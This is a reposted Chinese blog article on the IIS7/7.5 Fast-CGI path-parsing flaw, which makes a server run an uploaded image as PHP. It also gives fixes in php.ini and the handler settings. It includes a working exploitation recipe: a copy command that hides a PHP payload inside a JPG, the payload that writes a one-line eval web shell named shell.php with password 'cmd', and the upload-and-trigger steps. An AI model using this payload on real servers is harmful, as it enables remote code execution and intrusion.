码迷,mamicode.com
首页 > 其他好文 > 详细

IIS7和IIS7.5解析漏洞

时间:2019-11-12 01:13:17      阅读:101      评论:0      收藏:0      [点我收藏+]

标签:避免   sap   and   ping   名称   写入   技术   http   only   

IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。

 技术图片

常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

 

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二进制[binary]模式

/a 即ascii模式 xx.jpg正常图片文件

 

yy.txt 内容 <?PHPfputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>

意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件

 

######################################

找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 cmd

 

注意:

该解析漏洞利用需两个条件:

1.        php.ini里cgi.fix_pathinfo=1(默认为1)

 技术图片

2.        在”Handler Mapping”中取消勾选以下内容:

 技术图片

解决方案:

1.      配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序

 技术图片 

2.      在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”

 技术图片

3.      重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已经不支持ISAPI方式)。


原文链接:https://blog.csdn.net/sap910131/article/details/37379177

IIS7和IIS7.5解析漏洞

标签:避免   sap   and   ping   名称   写入   技术   http   only   

原文地址:https://www.cnblogs.com/liang-chen/p/11839276.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!